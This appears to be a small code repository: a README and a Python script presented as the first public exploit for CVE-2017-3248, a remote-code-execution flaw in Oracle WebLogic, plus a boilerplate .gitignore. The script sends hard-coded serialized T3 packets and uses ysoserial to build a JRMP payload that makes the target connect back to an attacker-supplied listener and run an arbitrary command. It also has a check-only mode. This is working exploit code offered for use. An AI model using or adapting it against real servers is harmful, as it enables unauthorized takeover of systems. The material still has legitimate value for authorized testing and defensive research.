├── .gitignore ├── README.md └── exploits └── weblogic └── exploit-CVE-2017-3248-bobsecq.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # exploits/weblogic/exploit-CVE-2017-3248-bobsecq.py 3 | 4 | The script **exploit-CVE-2017-3248-bobsecq.py** exploits the CVE-2017-3248 (https://www.tenable.com/security/research/tra-2017-07). 5 | It is the first script/POC for exploiting the *"Oracle WebLogic RMI Registry UnicastRef Object Java Deserialization Remote Code Execution"* vulnerability because Tenable (which has discovered this vulnerability) has not published an exploit/POC. 6 | 7 | This script can be used for: 8 | - checking if a weblogic server is vulnerable 9 | - exploiting the RCE 10 | 11 | This script needs the last version of Ysoserial (https://github.com/frohoff/ysoserial) 12 | 13 | Version affected by this vulnerability (according to Oracle): 14 | - 10.3.6.0, 15 | - 12.1.3.0 16 | - 12.2.1.0 17 | - 12.2.1.1 18 | 19 | This exploit has been tested on Weblogic Server 12.1.2.0 (without and with ssl). 20 | 21 | ```bash 22 | $ python exploit-CVE-2017-3248-bobsecq.py -h 23 | usage: exploit-CVE-2017-3248-bobsecq.py [-h] -t TARGET -p PORT 24 | [--jip ATTACKERIP] 25 | [--jport ATTACKERPORT] 26 | [--cmd CMDTOEXECUTE] [--check] [--ssl] 27 | --ysopath YSOPATH 28 | [--payloadType PAYLOADTYPE] 29 | 30 | optional arguments: 31 | -h, --help show this help message and exit 32 | -t TARGET target IP 33 | -p PORT target port 34 | --jip ATTACKERIP Local JRMP listener ip 35 | --jport ATTACKERPORT Local JRMP listener port (default: 3412) 36 | --cmd CMDTOEXECUTE Command to execute on the target 37 | --check Check if vulnerable 38 | --ssl Enable ssl connection 39 | --ysopath YSOPATH Ysoserial path 40 | --payloadType PAYLOADTYPE 41 | Payload to use in JRMP listener (default: 42 | CommonsCollections5) 43 | ``` 44 | -------------------------------------------------------------------------------- /exploits/weblogic/exploit-CVE-2017-3248-bobsecq.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | from argparse import RawTextHelpFormatter 5 | import socket, argparse, subprocess, ssl, os.path 6 | 7 | HELP_MESSAGE = ''' 8 | -------------------------------------------------------------------------------------- 9 | Developped by bobsecq: quentin.hardy@protonmail.com (quentin.hardy@bt.com) 10 | 11 | This script is the first public exploit/POC for: 12 | - Exploiting CVE-2017-3248 (Oracle WebLogic RMI Registry UnicastRef Object Java Deserialization Remote Code Execution) 13 | - Checking if a weblogic server is vulnerable 14 | 15 | This script needs the last version of Ysoserial (https://github.com/frohoff/ysoserial) 16 | 17 | Version affected (according to Oracle): 18 | - 10.3.6.0 19 | - 12.1.3.0 20 | - 12.2.1.0 21 | - 12.2.1.1 22 | -------------------------------------------------------------------------------------- 23 | ''' 24 | ''' 25 | Tested on 12.1.2.0 26 | 27 | For technical information, see: 28 | - https://www.tenable.com/security/research/tra-2017-07 29 | - http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html 30 | 31 | Vulnerability identified by Jacob Baines (Tenable Network Security) 32 | but exploit/POC has not been published! 33 | ''' 34 | 35 | #COMMANDS 36 | ARGS_YSO_GET_PAYLOD = "JRMPClient {0}:{1} |xxd -p| tr -d '\n'" #{0}: IP, {1}: port for connecting 'back' (i.e. attacker IP) 37 | CMD_GET_JRMPCLIENT_PAYLOAD = "java -jar {0} {1}"# {0} YSOSERIAL_PATH, {1}ARGS_YSO_GET_PAYLOD 38 | CMD_YSO_LISTEN = "java -cp {0} ysoserial.exploit.JRMPListener {1} {2} '{3}'"# {0} YSOSERIAL_PATH, {1}PORT, {2}payloadType, {3}command 39 | 40 | #PAYLOADS 41 | #A. Packet 1 to send: 42 | payload_1 = '74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a' 43 | #B. Packet 2 to send: 44 | payload_2 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e32323700124141414141414141414141413154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3131312e3131312e302e31313161863d1d0000000078' 45 | #C. Packet 3 to send: 46 | #C.1 length 47 | payload_3_1 = "000003b3" 48 | #C.2 first part 49 | payload_3_2 = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000' 50 | #C.3.1 sub payload 51 | payload_3_3_1 = 'aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' 52 | #C.3.2 Ysoserial Payload generated in real time 53 | payload_3_3_2 = "" 54 | #C.4 End of the payload 55 | payload_3_4 = 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' 56 | 57 | def runCmd(cmd): 58 | proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 59 | stdout_value = proc.stdout.read() + proc.stderr.read() 60 | return stdout_value 61 | 62 | def getJrmpClientPayloadEncoded(attackerIp, attackerJRMPListenerPort, ysoPath): 63 | completeCmd = CMD_GET_JRMPCLIENT_PAYLOAD.format(ysoPath, ARGS_YSO_GET_PAYLOD.format(attackerIp, attackerJRMPListenerPort)) 64 | print "[+] Ysoserial command (JRMP client): {0}".format(repr(completeCmd)) 65 | stdout = runCmd(cmd = completeCmd) 66 | return stdout 67 | 68 | def exploit(targetIP, targetPort, attackerIP, attackerJRMPPort, cmd, testOnly=False, payloadType='CommonsCollections5', sslEnabled=False, ysoPath=""): 69 | if testOnly == True: 70 | attackerIP = "127.0.0.1" 71 | attackerJRMPPort = 0 72 | print "[+] Connecting to {0}:{1} ...".format(targetIP, targetPort) 73 | if sslEnabled == True: 74 | print "[+] ssl mode enabled" 75 | s = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) 76 | else: 77 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 78 | print "[+] ssl mode disabled" 79 | s.connect((targetIP, targetPort)) 80 | print "[+] Connected to {0}:{1}".format(targetIP, targetPort) 81 | print "[+] Sending first packet..." 82 | #print "[S1] Sending {0}".format(repr(payload_1.decode('hex'))) 83 | s.sendall(payload_1.decode('hex')) 84 | data = s.recv(4096) 85 | #print '[R1] Received', repr(data) 86 | print "[+] Sending second packet..." 87 | #print "[S2] Sending {0}".format(repr(payload_2.decode('hex'))) 88 | s.sendall(payload_2.decode('hex')) 89 | data = s.recv(4096) 90 | #print '[R2] Received', repr(data) 91 | print "[+] Generating with ysoserial the third packet which contains a JRMPClient payload..." 92 | payload_3_3_2 = getJrmpClientPayloadEncoded(attackerIp=attackerIP, attackerJRMPListenerPort=attackerJRMPPort, ysoPath=ysoPath) 93 | payload= payload_3_1 + payload_3_2 + payload_3_3_1 + payload_3_3_2 + payload_3_4 94 | payload = payload.replace(payload_3_1, "0000{:04x}".format(len(payload)/2), 1) 95 | sendata = payload.decode('hex') 96 | if testOnly == False: 97 | print "[+] You have to execute the following command locally:" 98 | print " {0}".format(CMD_YSO_LISTEN.format(ysoPath, attackerJRMPPort, payloadType,cmd)) 99 | raw_input("[+] Press Enter when this previous command is running...") 100 | print "[+] Sending third packet..." 101 | #print "[S3] Sending {0}".format(repr(sendata)) 102 | s.sendall(sendata) 103 | data = s.recv(4096) 104 | s.close() 105 | #print '[R3] Received', repr(data) 106 | if testOnly == True: 107 | if "cannot be cast to weblogic" in str(data): 108 | print "[+] 'cannot be cast to weblogic' string in the third response from server" 109 | print "\n{2}\n[-] target {0}:{1} is not vulnerable\n{2}\n".format(targetIP, targetPort, '-'*60) 110 | else: 111 | print "[+] 'cannot be cast to weblogic' string is NOT in the third response from server" 112 | print "\n{2}\n[+] target {0}:{1} is vulnerable\n{2}\n".format(targetIP, targetPort, '-'*60) 113 | else: 114 | print "[+] The target will connect to {0}:{1}".format(attackerIP, attackerJRMPPort) 115 | print "[+] The command should be executed on the target after connection on {0}:{1}".format(attackerIP, attackerJRMPPort) 116 | 117 | def main(): 118 | argsParsed = argparse.ArgumentParser(description=HELP_MESSAGE, formatter_class=RawTextHelpFormatter) 119 | argsParsed.add_argument("-t", dest='target', required=True, help='target IP') 120 | argsParsed.add_argument("-p", dest='port', type=int, required=True, help='target port') 121 | argsParsed.add_argument("--jip", dest='attackerIP', required=False, help='Local JRMP listener ip') 122 | argsParsed.add_argument("--jport", dest='attackerPort', type=int, default=3412, required=False, help='Local JRMP listener port (default: %(default)s)') 123 | argsParsed.add_argument("--cmd", dest='cmdToExecute', help='Command to execute on the target') 124 | argsParsed.add_argument("--check", dest='check', action='store_true', default=False, help='Check if vulnerable') 125 | argsParsed.add_argument("--ssl", dest='sslEnabled', action='store_true', default=False, help='Enable ssl connection') 126 | argsParsed.add_argument("--ysopath", dest='ysoPath', required=True, default=False, help='Ysoserial path') 127 | argsParsed.add_argument("--payloadType", dest='payloadType', default="CommonsCollections5", help='Payload to use in JRMP listener (default: %(default)s)') 128 | args = dict(argsParsed.parse_args()._get_kwargs()) 129 | if os.path.isfile(args['ysoPath'])==False: 130 | print "[-] You have to give the path to Ysoserial with --ysopath (https://github.com/frohoff/ysoserial)!" 131 | return -1 132 | if args['check'] == False and args['attackerIP'] == None: 133 | print "[-] You have to give an IP with --jip !" 134 | return -1 135 | elif args['check'] == False and args['cmdToExecute'] == None: 136 | print "[-] You have to give a command to execute on the target with --cmd !" 137 | return -1 138 | if args['check'] == True: 139 | print "[+] Checking if target {0}:{1} is vulnerable to CVE-2017-3248 without executing a system command on the target...".format(args['target'], args['port']) 140 | exploit(targetIP=args['target'], targetPort=args['port'], attackerIP=None, attackerJRMPPort=None, cmd=None, testOnly=True, sslEnabled=args['sslEnabled'], ysoPath=args['ysoPath']) 141 | else: 142 | print "[+] Exploiting target {0}:{1}...".format(args['target'], args['port']) 143 | exploit(targetIP=args['target'], targetPort=args['port'], attackerIP=args['attackerIP'], attackerJRMPPort=args['attackerPort'], cmd=args['cmdToExecute'], payloadType=args['payloadType'], testOnly=False, sslEnabled=args['sslEnabled'],ysoPath=args['ysoPath']) 144 | 145 | if __name__ == "__main__": 146 | main() 147 | 148 | --------------------------------------------------------------------------------